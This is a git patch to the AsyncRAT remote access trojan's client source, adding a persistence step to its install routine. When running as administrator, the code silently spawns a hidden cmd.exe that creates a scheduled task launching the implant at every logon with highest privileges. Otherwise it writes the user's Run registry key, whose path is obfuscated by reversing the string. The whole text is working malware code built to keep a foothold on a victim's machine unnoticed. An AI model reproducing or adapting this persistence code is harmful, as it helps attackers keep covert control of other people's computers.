From d276ddc75d5a9c013ea4161e89c082a64a465d18 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 17 Sep 2019 00:22:43 +0300 Subject: [PATCH] added schtasks --- AsyncRAT-C#/Client/Install/NormalStartup.cs | 22 ++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/AsyncRAT-C#/Client/Install/NormalStartup.cs b/AsyncRAT-C#/Client/Install/NormalStartup.cs index 3702fb4..2ad11d7 100644 --- a/AsyncRAT-C#/Client/Install/NormalStartup.cs +++ b/AsyncRAT-C#/Client/Install/NormalStartup.cs @@ -36,10 +36,26 @@ namespace Client.Install Debug.WriteLine("NormalStartup Error : " + P.ProcessName); } } - - using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree)) + if (Methods.IsAdmin()) { - key.SetValue(Path.GetFileName(installfullpath), "\"" + installfullpath + "\""); + Process proc = new Process + { + StartInfo = new ProcessStartInfo + { + FileName = "cmd.exe", + Arguments = "/c schtasks /create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Settings.InstallFile + @"""'" + " /tr " + @"""'" + installfullpath + @"""'", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + } + }; + proc.Start(); + } + else + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + key.SetValue(Settings.InstallFile, "\"" + installfullpath + "\""); + } } FileStream fs;